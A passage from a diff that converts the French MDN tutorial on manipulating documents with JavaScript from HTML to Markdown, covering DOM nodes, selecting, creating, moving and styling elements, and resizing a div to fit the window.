représente l'état et l'identité du navigateur web (le user-agent par exemple) tel qu'il existe sur le Web. En JavaScript, il est représenté par l'objet <a href="/fr/docs/Web/API/Navigator"><code>Navigator</code></a>. Vous pouvez utiliser cet objet pour récupérer des informations telles que la géolocalisation, les préférences de langue de l'utilisateur, un flux vidéo en provenance de la webcam de l'utilisateur, etc.</li> - <li>Le <em>document</em> (accédé par le DOM dans les navigateurs) est la page actuellement chargée dans la fenêtre. Il est représenté en JavaScript par l'objet <a href="/fr/docs/Web/API/Document"><code>Document</code></a>. Vous pouvez utiliser cet objet pour retourner et manipuler les éléments HTML et CSS qui composent le document. Par exemple: récupérer un élément dans le DOM, changer son texte, appliquer de nouveaux styles dessus, créer de nouveaux éléments et les ajouter à un élément comme enfant, ou même en supprimer.</li> -</ul> - -<p>Dans cet article, nous allons principalement nous concentrer sur la manipulation du document, mais nous verrons également quelques autres éléments utiles.</p> - -<h2 id="the_document_object_model">Le modèle objet du document (Document Object Model)</h2> + ```js + link.textContent = 'Mozilla Developer Network'; + ``` -<p>Le document chargé dans chaque onglet de votre navigateur, et donc son contenu, est accessible via un modèle objet du document — Document Objet Model en anglais, ou DOM. Il s'agit d'une structure arborescente créée par le navigateur et qui permet aux langages de programmation d'accéder facilement à la structure HTML — par exemple, le navigateur lui-même l'utilise pour appliquer différents styles aux éléments correspondants sur la page, tandis qu'un développeur comme vous et moi peut l'utiliser pour manipuler le DOM avec du JavaScript après que la page ait été chargée.</p> +5. Nous devons également modifier l'URL ciblée par le lien, pour qu'il ne renvoie pas au mauvais endroit quand on clique dessus. Ajoutez la ligne suivante, en bas de votre JavaScript : -<p>Nous avons créé une simple page d'exemple, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">voir en direct</a>). Essayez de l'ouvrir dans votre navigateur — c'est une page très simple qui contient un élément <a href="/fr/docs/Web/HTML/Element/section"><code><section></code></a>, à l'intérieur duquel se trouve une image et un paragraphe avec un lien. Le code source HTML ressemble à ça:</p> + ```js + link.href = 'https://developer.mozilla.org'; + ``` -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Simple DOM example</title> - </head> - <body> - <section> - <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> - <p>Here we will add a link to the <a href="https://www.mozilla.org/">Mozilla homepage</a></p> - </section> - </body> -</html></pre> +Notez que, comme souvent en JavaScript, il y a plusieurs façons de sélectionner et d'enregistrer une référence à un élément dans une variable. [`Document.querySelector()`](/fr/docs/Web/API/Document/querySelector) est l'approche moderne recommandée — elle est pratique puisqu'elle permet de sélectionner des éléments en utilisant les sélecteurs CSS. L'appel à `querySelector()` que nous avons utilisé plus tôt récupère le premier élément [`<a>`](/fr/docs/Web/HTML/Element/a) qui apparaît dans le document. Si vous souhaitez au contraire récupérer plusieurs éléments, vous pouvez utiliser [`Document.querySelectorAll()`](/fr/docs/Web/API/Document/querySelectorAll), qui récupère tous les éléments du document correspondant au sélecteur, et retourne des références vers ces éléments dans un objet similaire à un [tableau](/fr/docs/Learn/JavaScript/First_steps/Arrays) appelé un [`NodeList`](/fr/docs/Web/API/NodeList). -<p>Le DOM, quant à lui, ressemble à ça :</p> +Il existe des méthodes plus anciennes pour récupérer des références aux éléments, telles que : -<p><img alt="" src="dom-screenshot.png"></p> +- [`Document.getElementById()`](/fr/docs/Web/API/Document/getElementById), qui sélectionne un élément grâce à son attribut `id` (par exemple : `<p id="myId">My paragraph</p>`). L'ID est passé à la fonction en paramètre, de la façon suivante : `var elementRef = document.getElementById('myId')`. +- [`Document.getElementsByTagName()`](/fr/docs/Web/API/Document/getElementsByTagName), qui retourne un tableau contenant tous les éléments de la page ayant un type donné, par exemple tous les `<p>`, `<a>`, etc. Le type de l'élément est passé comme paramètre de la fonction, c'est-à-dire : `var elementRefArray = document.getElementsByTagName('p')`. -<div class="note"> -<p><strong>Note :</strong> Ce diagramme du DOM a été créé en utilisant le <a href="https://software.hixie.ch/utilities/js/live-dom-viewer/">Live DOM viewer</a> de Ian Hickson.</p> -</div> +Ces deux dernières méthodes fonctionnent mieux dans les navigateurs plus anciens que des méthodes plus modernes comme `querySelector()`, mais elles sont beaucoup moins pratiques. Regardez autour de vous et essayez d'en trouver d'autres! -<p>Vous pouvez voir ici que chaque élément et morceau de texte dans le document possède sa propre entrée dans l'arbre — chacune étant appelée <strong>nœud</strong> (<i>node</i>). Vous rencontrerez également plusieurs termes pour décrire les différents type de nœuds ou leur position dans l'arbre les uns par rapport aux autres :</p> +### Créer et placer de nouveaux nœuds -<ul> - <li><strong>Nœud élément (<i>element node</i>)</strong> : N'importe quel élément, tel qu'il existe dans le DOM.</li> - <li><strong>Racine (<i>root</i>)</strong> : Le nœud de plus haut niveau dans l'arbre. Dans le cas d'un document HTML, il s'agit toujours du nœud <code>HTML</code> (d'autres langages de balisage tels que SVG et XML auront des racines différentes).</li> - <li><strong>Enfant (<i>child</i>)</strong> : Un nœud <em>directement</em> à l'intérieur d'un autre nœud. Ainsi, dans l'exemple ci-dessus, <code>IMG</code> est un enfant de <code>SECTION</code>.</li> - <li><strong>Descendant</strong> : Un nœud <em>n'importe où</em> à l'intérieur d'un autre nœud. Par exemple, <code>IMG</code> est un enfant de <code>SECTION</code> mais également l'un de ses descendants. En revanche <code>IMG</code> n'est pas un enfant de <code>BODY</code>, puisqu'il est deux niveaux plus bas dans l'arbre, mais il est un de ses descendants.</li> - <li><strong>Parent</strong> : Un nœud qui a un autre nœud <em>directement</em> à l'intérieur. Par exemple, <code>BODY</code> est le parent de <code>SECTION</code>.</li> - <li><strong>Ancêtre (<i>ancestor</i>)</strong> : Un nœud qui a un autre nœud <em>n'importe où</em> à l'intérieur. Par exemple, <code>BODY</code> est l'ancêtre d'<code>IMG</code>.</li> - <li><strong>Frères et sœurs (<i>sibling</i>)</strong> : Des nœuds qui ont le même parent. Par exemple, <code>IMG</code> et <code>P</code> sont frères et sœurs.</li> - <li><strong>Nœud texte (<i>text node</i>)</strong> : Un nœud contenant une chaîne de caractères.</li> -</ul> +Ce qui précède vous a donné un petit avant-goût de ce que vous pouvez faire, mais allons plus loin et regardons comment créer de nouveaux éléments. -<p>Il est utile de vous familiariser avec ces termes avant de travailler avec le DOM, puisqu'un certain nombre de documentations les utilisent. Vous les avez peut-être déjà rencontrés si vous avez étudié le CSS (ex. sélecteur descendant, sélecteur enfant).</p> +1. Pour revenir à notre exemple, commençons par récupérer une référence à notre élément [`<section>`](/fr/docs/Web/HTML/Element/section) — ajoutez le code suivant au bas de votre script existant (idem avec les lignes qui suivront) : -<h2 id="active_learning_basic_dom_manipulation">Apprentissage actif : Manipulations basiques du DOM</h2> + ```js + var sect = document.querySelector('section'); + ``` -<p>Pour commencer l'apprentissage de la manipulation du DOM, commençons par un exemple concret.</p> +2. Nous allons maintenant créer un nouveau paragraphe grâce à [`Document.createElement()`](/fr/docs/Web/API/Document/createElement), et lui donner du contenu texte de la même manière que précédemment : -<ol> - <li>Faites une copie locale de la page <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> et de l'<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dinosaur.png">image</a> qui l'accompagne.</li> - <li>Ajoutez un élément <code><script></script></code> juste avant la balise fermante <code></body></code>.</li> - <li>Pour manipuler un élément dans le DOM, vous allez d'abord sélectionner cet élément et stocker une référence à cet élément dans une variable. À l'intérieur de votre élément <code><script></code>, ajoutez la ligne suivante: - <pre class="brush: js">const link = document.querySelector('a');</pre> - </li> - <li>Maintenant que nous avons la référence à l'élément enregistrée dans une variable, nous pouvons commencer à le manipuler en utilisant les propriétés et les méthodes qui lui sont associées (celles-ci sont définies sur les interfaces telles que <a href="/fr/docs/Web/API/HTMLAnchorElement"><code>HTMLAnchorElement</code></a> dans le cas d'un élément <a href="/fr/docs/Web/HTML/Element/a"><code><a></code></a>, et sur les interfaces plus génériques <a href="/fr/docs/Web/API/HTMLElement"><code>HTMLElement</code></a>, et <a href="/fr/docs/Web/API/Node"><code>Node</code></a> — qui représente tous les nœuds d'un DOM). Tout d'abord, changeons le texte du lien en mettant à jour la valeur de la propriété <a href="/fr/docs/Web/API/Node/textContent"><code>Node.textContent</code></a>. Ajoutez la ligne suivante à la suite de la précédente : - <pre class="brush: js">link.textContent = 'Mozilla Developer Network';</pre> - </li> - <li>Nous devons également modifier l'URL ciblée par le lien, pour qu'il ne renvoie pas au mauvais endroit quand on clique dessus. Ajoutez la ligne suivante, en bas de votre JavaScript : - <pre class="brush: js">link.href = 'https://developer.mozilla.org';</pre> - </li> -</ol> + ```js + var para = document.createElement('p'); + para.textContent = 'We hope you enjoyed the ride.'; + ``` -<div> -<p>Notez que, comme souvent en JavaScript, il y a plusieurs façons de sélectionner et d'enregistrer une référence à un élément dans une variable. <a href="/fr/docs/Web/API/Document/querySelector"><code>Document.querySelector()</code></a> est l'approche moderne recommandée — elle est pratique puisqu'elle permet de sélectionner des éléments en utilisant les sélecteurs CSS. L'appel à <code>querySelector()</code> que nous avons utilisé plus tôt récupère le premier élément <a href="/fr/docs/Web/HTML/Element/a"><code><a></code></a> qui apparaît dans le document. Si vous souhaitez au contraire récupérer plusieurs éléments, vous pouvez utiliser <a href="/fr/docs/Web/API/Document/querySelectorAll"><code>Document.querySelectorAll()</code></a>, qui récupère tous les éléments du document correspondant au sélecteur, et retourne des références vers ces éléments dans un objet similaire à un <a href="/fr/docs/Learn/JavaScript/First_steps/Arrays">tableau</a> appelé un <a href="/fr/docs/Web/API/NodeList"><code>NodeList</code></a>.</p> +3. Nous pouvons à présent ajouter ce paragraphe au bas de la section en utilisant [`Node.appendChild()`](/fr/docs/Web/API/Node/appendChild): -<p>Il existe des méthodes plus anciennes pour récupérer des références aux éléments, telles que :</p> + ```js + sect.appendChild(para); + ``` -<ul> - <li><a href="/fr/docs/Web/API/Document/getElementById"><code>Document.getElementById()</code></a>, qui sélectionne un élément grâce à son attribut <code>id</code> (par exemple : <code><p id="myId">My paragraph</p></code>). L'ID est passé à la fonction en paramètre, de la façon suivante : <code>var elementRef = document.getElementById('myId')</code>.</li> - <li><a href="/fr/docs/Web/API/Document/getElementsByTagName"><code>Document.getElementsByTagName()</code></a>, qui retourne un tableau contenant tous les éléments de la page ayant un type donné, par exemple tous les <code><p></code>, <code><a></code>, etc. Le type de l'élément est passé comme paramètre de la fonction, c'est-à-dire : <code>var elementRefArray = document.getElementsByTagName('p')</code>.</li> -</ul> +4. Enfin, ajoutons un nœud texte au premier paragraphe, pour finir la phrase joliment. Créons d'abord un nœud texte avec [`Document.createTextNode()`](/fr/docs/Web/API/Document/createTextNode) : -<p>Ces deux dernières méthodes fonctionnent mieux dans les navigateurs plus anciens que des méthodes plus modernes comme <code>querySelector()</code>, mais elles sont beaucoup moins pratiques. Regardez autour de vous et essayez d'en trouver d'autres!</p> -</div> + ```js + var text = document.createTextNode(' — the premier source for web development knowledge.'); + ``` -<h3 id="creating_and_placing_new_nodes">Créer et placer de nouveaux nœuds</h3> +5. Puis, après avoir récupéré une référence au premier paragraphe, ajoutons-y le nœud texte: -<p>Ce qui précède vous a donné un petit avant-goût de ce que vous pouvez faire, mais allons plus loin et regardons comment créer de nouveaux éléments.</p> + ```js + var linkPara = document.querySelector('p'); + linkPara.appendChild(text); + ``` -<ol> - <li>Pour revenir à notre exemple, commençons par récupérer une référence à notre élément <a href="/fr/docs/Web/HTML/Element/section"><code><section></code></a> — ajoutez le code suivant au bas de votre script existant (idem avec les lignes qui suivront) : - <pre class="brush: js">var sect = document.querySelector('section');</pre> - </li> - <li>Nous allons maintenant créer un nouveau paragraphe grâce à <a href="/fr/docs/Web/API/Document/createElement"><code>Document.createElement()</code></a>, et lui donner du contenu texte de la même manière que précédemment : - <pre class="brush: js">var para = document.createElement('p'); -para.textContent = 'We hope you enjoyed the ride.';</pre> - </li> - <li>Nous pouvons à présent ajouter ce paragraphe au bas de la section en utilisant <a href="/fr/docs/Web/API/Node/appendChild"><code>Node.appendChild()</code></a>: - <pre class="brush: js">sect.appendChild(para);</pre> - </li> - <li>Enfin, ajoutons un nœud texte au premier paragraphe, pour finir la phrase joliment. Créons d'abord un nœud texte avec <a href="/fr/docs/Web/API/Document/createTextNode"><code>Document.createTextNode()</code></a> : - <pre class="brush: js">var text = document.createTextNode(' — the premier source for web development knowledge.');</pre> - </li> - <li>Puis, après avoir récupéré une référence au premier paragraphe, ajoutons-y le nœud texte: - <pre class="brush: js">var linkPara = document.querySelector('p'); -linkPara.appendChild(text);</pre> - </li> -</ol> +C'est l'essentiel de ce dont vous aurez besoin pour ajouter des nœuds au DOM — vous utiliserez beaucoup ces méthodes lorsque vous construirez des interfaces dynamiques (nous en verrons quelques exemples plus tard). -<p>C'est l'essentiel de ce dont vous aurez besoin pour ajouter des nœuds au DOM — vous utiliserez beaucoup ces méthodes lorsque vous construirez des interfaces dynamiques (nous en verrons quelques exemples plus tard).</p> +### Déplacer et supprimer des éléments -<h3 id="moving_and_removing_elements">Déplacer et supprimer des éléments</h3> +Il peut arriver qu'on veuille déplacer des nœuds, ou même les supprimer du DOM. C'est tout à fait possible, et voyons comment. -<p>Il peut arriver qu'on veuille déplacer des nœuds, ou même les supprimer du DOM. C'est tout à fait possible, et voyons comment.</p> - - -<p>Par exemple, si l'on veut déplacer le premier paragraphe de notre exemple au bas de la section, on pourrait utiliser :</p> - -<pre class="brush: js">sect.appendChild(linkPara);</pre> - -<p>Cette commande va déplacer le paragraphe tout au bas de la section. On pourrait penser qu'elle va en fait ajouter une copie, mais ce n'est pas le cas : <code>linkPara</code> ne fait référence qu'à un seul et unique élément. Pour copier le paragraphe, il faudrait utiliser <a href="/fr/docs/Web/API/Node/cloneNode"><code>Node.cloneNode()</code></a> à la place.</p> - -<p>Supprimer des éléments est également plutôt simple, dès lors qu'on a une référence de l'élément à supprimer et de son parent. Dans notre cas, on peut simplement utiliser <a href="/fr/docs/Web/API/Node/removeChild"><code>Node.removeChild()</code></a>, comme ceci :</p> - -<pre>sect.removeChild(linkPara);</pre> +Par exemple, si l'on veut déplacer le premier paragraphe de notre exemple au bas de la section, on pourrait utiliser : -<p>Si vous souhaitez un élément uniquement à partir d'une référence à cet élément, comme c'est souvent le cas, vous pouvez utiliser <a href="/fr/docs/Web/API/ChildNode/remove"><code>ChildNode.remove()</code></a> :</p> +```js +sect.appendChild(linkPara); +``` -<pre class="brush: js">linkPara.remove();</pre> +Cette commande va déplacer le paragraphe tout au bas de la section. On pourrait penser qu'elle va en fait ajouter une copie, mais ce n'est pas le cas : `linkPara` ne fait référence qu'à un seul et unique élément. Pour copier le paragraphe, il faudrait utiliser [`Node.cloneNode()`](/fr/docs/Web/API/Node/cloneNode) à la place. -<p>Cette méthode ne fonctionne cependant pas dans les navigateurs plus anciens. Ils ne possèdent en effet pas de méthodes pour dire à un nœud de se supprimer, et il faut donc procéder comme suit :</p> +Supprimer des éléments est également plutôt simple, dès lors qu'on a une référence de l'élément à supprimer et de son parent. Dans notre cas, on peut simplement utiliser [`Node.removeChild()`](/fr/docs/Web/API/Node/removeChild), comme ceci : -<pre class="brush: js">linkPara.parentNode.removeChild(linkPara);</pre> + sect.removeChild(linkPara); -<p>À votre tour : essayez les lignes ci-dessus en les ajoutant à votre code.</p> - -<h3 id="manipulating_styles">Manipuler le style</h3> +Si vous souhaitez un élément uniquement à partir d'une référence à cet élément, comme c'est souvent le cas, vous pouvez utiliser [`ChildNode.remove()`](/fr/docs/Web/API/ChildNode/remove) : -<p>Il est possible de manipuler des styles CSS grâce à du JavaScript de plusieurs manières.</p> - -<p> Pour commencer, vous pouvez obtenir une liste de toutes les feuilles de style associées à un document en utilisant <a href="/fr/docs/Web/API/Document/styleSheets"><code>Document.stylesheets</code></a>, qui retourne un objet, ressemblant à un tableau composé d'objets <a href="/fr/docs/Web/API/CSSStyleSheet"><code>CSSStyleSheet</code></a>. Vous pouvez alors ajouter/supprimer des styles comme vous le souhaitez. Cependant, nous n'allons pas nous étendre sur ces fonctionnalités, car elles sont archaïques et il est difficile de manipuler le style avec. Il y a des techniques beaucoup plus simples.</p> - -<p>La première d'entre elles consiste à ajouter des styles en ligne (<i>inline styles</i>), directement sur les éléments que vous voulez styliser de façon dynamique. Pour ce faire, on utilise la propriété <a href="/fr/docs/Web/API/ElementCSSInlineStyle/style"><code>HTMLElement.style</code></a>, qui contient les informations de style en ligne de chaque élément du document. Vous pouvez définir des propriétés de cet objet de façon à pouvoir mettre à jour directement le style des éléments.</p> - -<ol> - <li>À titre d'exemple, essayez d'ajouter les lignes suivantes à notre exemple : - <pre class="brush: js">para.style.color = 'white'; -para.style.backgroundColor = 'black'; -para.style.padding = '10px'; -para.style.width = '250px'; -para.style.textAlign = 'center';</pre> - </li> - <li>Rafraichissez la page, et vous verrez que les styles ont été appliqués au paragraphe. Si vous regardez ce paragraphe dans l'<a href="/fr/docs/Tools/Page_Inspector">Inspecteur</a> du navigateur, vous verrez que ces lignes sont en effet ajoutées comme du style en ligne au document: - <pre class="brush: html"><p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p></pre> - </li> -</ol> +```js +linkPara.remove(); +``` -<div class="note"> -<p><strong>Note :</strong> Vous remarquerez que les propriétés JavaScript qui représentent les propriétés CSS sont écrites en <a href="https://fr.wikipedia.org/wiki/Camel_case">lower camel case</a> tandis que les versions CSS sont reliées par des tirets (par exemple <code>backgroundColor</code> au lieu de <code>background-color</code>). Prenez garde à ne pas les mélanger, sans quoi ça ne fonctionnera pas.</p> -</div> +Cette méthode ne fonctionne cependant pas dans les navigateurs plus anciens. Ils ne possèdent en effet pas de méthodes pour dire à un nœud de se supprimer, et il faut donc procéder comme suit : -<p>Il y a un autre moyen de manipuler dynamiquement des styles sur votre document, que nous allons étudier maintenant.</p> +```js +linkPara.parentNode.removeChild(linkPara); +``` -<ol> - <li>Supprimez les cinq lignes précédentes que nous avons ajoutées à notre code JavaScript.</li> - <li>Ajoutez ce qui suit au sein de la balise <a href="/fr/docs/Web/HTML/Element/head"><code><head></code></a> de votre HTML: - <pre><style> -.highlight { - color: white; - background-color: black; - padding: 10px; - width: 250px; - text-align: center; -} -</style></pre> - </li> - <li>Nous allons maintenant utiliser une méthode très utile pour la manipulation HTML de manière générale : <a href="/fr/docs/Web/API/Element/setAttribute"><code>Element.setAttribute()</code></a>. Cette fonction prend deux paramètres : le nom de l'attribut que vous voulez définir sur l'élément, et la valeur que vous voulez lui attribuer. Ici nous allons ajouter une classe <code>highlight</code> à notre élément : - <pre class="brush: js">para.setAttribute('class', 'highlight');</pre> - </li> - <li>Rafraîchissez votre page, et vous constaterez qu'il n'y a aucun changement par rapport au dernier exemple. Le CSS est toujours appliqué au paragraphe, mais la seule différence c'est qu'on a utilisé une classe pour le faire et non des styles en ligne.</li> -</ol> +À votre tour : essayez les lignes ci-dessus en les ajoutant à votre code. -<p>A vous de choisir la méthode que vous souhaitez utiliser : chacune a ses avantages et ses inconvénients. Les styles en ligne demandent moins de préparation et sont utiles pour un usage simple, tandis que l'usage des classes est une méthode plus pure (on ne mélange pas le CSS et le JavaScript, on évite donc les styles en ligne, car c'est considéré comme une mauvaise pratique). Au fur et à mesure que vous construirez des applications plus volumineuses et complexes, vous allez probablement utiliser la deuxième méthode plus souvent, mais c'est à vous de décider.</p> +### Manipuler le style -<p>À ce stade, nous n'avons pas vraiment fait quoi que soit d'utile! Il n'y a pas d'intérêt à générer du contenu statique avec du JavaScript — autant l'écrire directement en HTML sans passer par du JavaScript. Le JavaScript est plus complexe que du HTML, et comporte son propre lot de problèmes (comme le fait qu'il ne puisse pas être lu par les moteurs de recherche).</p> +Il est possible de manipuler des styles CSS grâce à du JavaScript de plusieurs manières. -<p>Dans les deux prochaines sections, nous verrons des exemples d'utilisation plus pratiques des APIs du DOM.</p> +Pour commencer, vous pouvez obtenir une liste de toutes les feuilles de style associées à un document en utilisant [`Document.stylesheets`](/fr/docs/Web/API/Document/styleSheets), qui retourne un objet, ressemblant à un tableau composé d'objets [`CSSStyleSheet`](/fr/docs/Web/API/CSSStyleSheet). Vous pouvez alors ajouter/supprimer des styles comme vous le souhaitez. Cependant, nous n'allons pas nous étendre sur ces fonctionnalités, car elles sont archaïques et il est difficile de manipuler le style avec. Il y a des techniques beaucoup plus simples. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver la <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example-manipulated.html">version finale de dom-example.html</a> sur GitHub (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example-manipulated.html">le voir en direct aussi</a>).</p> -</div> +La première d'entre elles consiste à ajouter des styles en ligne (_inline styles_), directement sur les éléments que vous voulez styliser de façon dynamique. Pour ce faire, on utilise la propriété [`HTMLElement.style`](/fr/docs/Web/API/ElementCSSInlineStyle/style), qui contient les informations de style en ligne de chaque élément du document. Vous pouvez définir des propriétés de cet objet de façon à pouvoir mettre à jour directement le style des éléments. -<h2 id="active_learning_getting_useful_information_from_the_window_object">Apprentissage actif : Récupérer des informations utiles depuis l'objet Window</h2> +1. À titre d'exemple, essayez d'ajouter les lignes suivantes à notre exemple : -<p>Jusqu'à présent nous avons seulement utilisé les fonctionnalités de <a href="/fr/docs/Web/API/Node"><code>Node</code></a> et <a href="/fr/docs/Web/API/Document"><code>Document</code></a> (le DOM) pour manipuler les documents, mais vous pouvez obtenir des données d'autres sources pour les intégrer à votre interface utilisateur (UI). Il faut simplement s'assurer que les données sont au bon format ; c'est plus simple avec JavaScript qu'avec d'autres langages, puisqu'on utilise un typage faible — les nombres par exemple sont automatiquement convertis en texte lorsqu'on les affiche à l'écran.</p> + ```js + para.style.color = 'white'; + para.style.backgroundColor = 'black'; + para.style.padding = '10px'; + para.style.width = '250px'; + para.style.textAlign = 'center'; + ``` -<p>Dans cet exemple, nous allons résoudre un problème très courant — s'assurer que votre application est de la même taille que la fenêtre, quelle que soit la taille de la fenêtre. C'est souvent utile pour des jeux par exemple, où l'on veut utiliser autant d'espace d'écran que possible pour jouer.</p> +2. Rafraichissez la page, et vous verrez que les styles ont été appliqués au paragraphe. Si vous regardez ce paragraphe dans l'[Inspecteur](/fr/docs/Tools/Page_Inspector) du navigateur, vous verrez que ces lignes sont en effet ajoutées comme du style en ligne au document: -<p>Pour commencer, faites une copie en local des fichiers de démonstration <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example.html">window-resize-example.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/bgtile.png">bgtile.png</a>. Ouvrez-les : vous y trouverez un élément <a href="/fr/docs/Web/HTML/Element/div"><code><div></code></a> qui couvre une petite partie de l'écran avec un motif en mosaïque. Nous utiliserons cet élément pour représenter la surface de notre interface utilisateur.</p> + ```html + <p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p> + ``` -<ol> - <li>Tout d'abord, nous allons récupérer : une référence au <code><div></code>, la largeur de la fenêtre d'affichage ("viewport", celle où notre document est affiché) et sa hauteur, avant de les stocker dans des variables — ces deux dernières valeurs sont faciles à obtenir via les propriétés <a href="/fr/docs/Web/API/Window/innerWidth"><code>Window.innerWidth</code></a> et <a href="/fr/docs/Web/API/Window/innerHeight"><code>Window.innerHeight</code></a>. Ajoutez les lignes qui suivent à l'intérieur de l'élément <a href="/fr/docs/Web/HTML/Element/script"><code><script></code></a> : - <pre class="brush: js">const div = document.querySelector('div'); - let winWidth = window.innerWidth; - let winHeight = window.innerHeight;</pre> - </li> - <li>Ensuite, nous allons modifier dynamiquement la largeur et la hauteur de notre <code><div></code> pour qu'elles soient égales à celles de la fenêtre d'affichage. Ajoutez les lignes suivantes à la suite des précédentes : - <pre class="brush: js">div.style.width = winWidth + 'px'; - div.style.height = winHeight + 'px';</pre> - </li> - <li>Sauvegardez vos modifications et rafraîchissez votre page : vous devriez désormais constater que la <code><div></code> est aussi grande que la fenêtre, quelle que soit la taille de la fenêtre. Si maintenant vous essayez d'agrandir votre fenêtre, vous pouvez constater que la div ne change pas de taille — nous ne définissons la taille qu'une seule fois.</li> - <li>Nous pouvons utiliser un gestionnaire d'événement pour que la <code><div></code> soit redimensionnée à chaque fois que la fenêtre l'est. L'objet <a href="/fr/docs/Web/API/Window"><code>Window</code></a> dispose d'un événement dédié appelé <code>resize</code>, qui est déclenché à chaque fois que la fenêtre est redimensionnée — nous pouvons utiliser le gestionnaire d'événement {{domxref("GlobalEventHandlers/onresize", "Window.onresize")}} pour ré-exécuter notre code de dimensionnement à chaque fois. Ajoutez ce qui suit au bas de votre code: - <pre class="brush: js">window.onresize = function() { - winWidth = window.innerWidth; - winHeight = window.innerHeight; +> **Note :** Vous remarquerez que les propriétés JavaScript qui représentent les propriétés CSS sont écrites en [lower camel case](https://fr.wikipedia.org/wiki/Camel_case) tandis que les versions CSS sont reliées par des tirets (par exemple `backgroundColor` au lieu de `background-color`). Prenez garde à ne pas les mélanger, sans quoi ça ne fonctionnera pas. + +Il y a un autre moyen de manipuler dynamiquement des styles sur votre document, que nous allons étudier maintenant. + +1. Supprimez les cinq lignes précédentes que nous avons ajoutées à notre code JavaScript. +2. Ajoutez ce qui suit au sein de la balise [`<head>`](/fr/docs/Web/HTML/Element/head) de votre HTML: + + <style> + .highlight { + color: white; + background-color: black; + padding: 10px; + width: 250px; + text-align: center; + } + </style> + +3. Nous allons maintenant utiliser une méthode très utile pour la manipulation HTML de manière générale : [`Element.setAttribute()`](/fr/docs/Web/API/Element/setAttribute). Cette fonction prend deux paramètres : le nom de l'attribut que vous voulez définir sur l'élément, et la valeur que vous voulez lui attribuer. Ici nous allons ajouter une classe `highlight` à notre élément : + + ```js + para.setAttribute('class', 'highlight'); + ``` + +4. Rafraîchissez votre page, et vous constaterez qu'il n'y a aucun changement par rapport au dernier exemple. Le CSS est toujours appliqué au paragraphe, mais la seule différence c'est qu'on a utilisé une classe pour le faire et non des styles en ligne. + +A vous de choisir la méthode que vous souhaitez utiliser : chacune a ses avantages et ses inconvénients. Les styles en ligne demandent moins de préparation et sont utiles pour un usage simple, tandis que l'usage des classes est une méthode plus pure (on ne mélange pas le CSS et le JavaScript, on évite donc les styles en ligne, car c'est considéré comme une mauvaise pratique). Au fur et à mesure que vous construirez des applications plus volumineuses et complexes, vous allez probablement utiliser la deuxième méthode plus souvent, mais c'est à vous de décider. + +À ce stade, nous n'avons pas vraiment fait quoi que soit d'utile! Il n'y a pas d'intérêt à générer du contenu statique avec du JavaScript — autant l'écrire directement en HTML sans passer par du JavaScript. Le JavaScript est plus complexe que du HTML, et comporte son propre lot de problèmes (comme le fait qu'il ne puisse pas être lu par les moteurs de recherche). + +Dans les deux prochaines sections, nous verrons des exemples d'utilisation plus pratiques des APIs du DOM. + +> **Note :** Vous pouvez trouver la [version finale de dom-example.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example-manipulated.html) sur GitHub ([le voir en direct aussi](https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example-manipulated.html)). + +## Apprentissage actif : Récupérer des informations utiles depuis l'objet Window + +Jusqu'à présent nous avons seulement utilisé les fonctionnalités de [`Node`](/fr/docs/Web/API/Node) et [`Document`](/fr/docs/Web/API/Document) (le DOM) pour manipuler les documents, mais vous pouvez obtenir des données d'autres sources pour les intégrer à votre interface utilisateur (UI). Il faut simplement s'assurer que les données sont au bon format ; c'est plus simple avec JavaScript qu'avec d'autres langages, puisqu'on utilise un typage faible — les nombres par exemple sont automatiquement convertis en texte lorsqu'on les affiche à l'écran. + +Dans cet exemple, nous allons résoudre un problème très courant — s'assurer que votre application est de la même taille que la fenêtre, quelle que soit la taille de la fenêtre. C'est souvent utile pour des jeux par exemple, où l'on veut utiliser autant d'espace d'écran que possible pour jouer. + +Pour commencer, faites une copie en local des fichiers de démonstration [window-resize-example.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example.html) et [bgtile.png](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/bgtile.png). Ouvrez-les : vous y trouverez un élément [`<div>`](/fr/docs/Web/HTML/Element/div) qui couvre une petite partie de l'écran avec un motif en mosaïque. Nous utiliserons cet élément pour représenter la surface de notre interface utilisateur. + +1. Tout d'abord, nous allons récupérer : une référence au `<div>`, la largeur de la fenêtre d'affichage ("viewport", celle où notre document est affiché) et sa hauteur, avant de les stocker dans des variables — ces deux dernières valeurs sont faciles à obtenir via les propriétés [`Window.innerWidth`](/fr/docs/Web/API/Window/innerWidth) et [`Window.innerHeight`](/fr/docs/Web/API/Window/innerHeight). Ajoutez les lignes qui suivent à l'intérieur de l'élément [`<script>`](/fr/docs/Web/HTML/Element/script) : + + ```js + const div = document.querySelector('div'); + let winWidth = window.innerWidth; + let winHeight = window.innerHeight; + ``` + +2. Ensuite, nous allons modifier dynamiquement la largeur et la hauteur de notre `<div>` pour qu'elles soient égales à celles de la fenêtre d'affichage. Ajoutez les lignes suivantes à la suite des précédentes : + + ```js div.style.width = winWidth + 'px'; - div.style.height = winHeight + 'px'; - }</pre> - </li> - </ol> + div.style.height = winHeight + 'px'; + ``` + +3. Sauvegardez vos modifications et rafraîchissez votre page : vous devriez désormais constater que la `<div>` est aussi grande que la fenêtre, quelle que soit la taille de la fenêtre. Si maintenant vous essayez d'agrandir votre fenêtre, vous pouvez constater que la div ne change pas de taille — nous ne définissons la taille qu'une seule fois. +4. Nous pouvons utiliser un gestionnaire 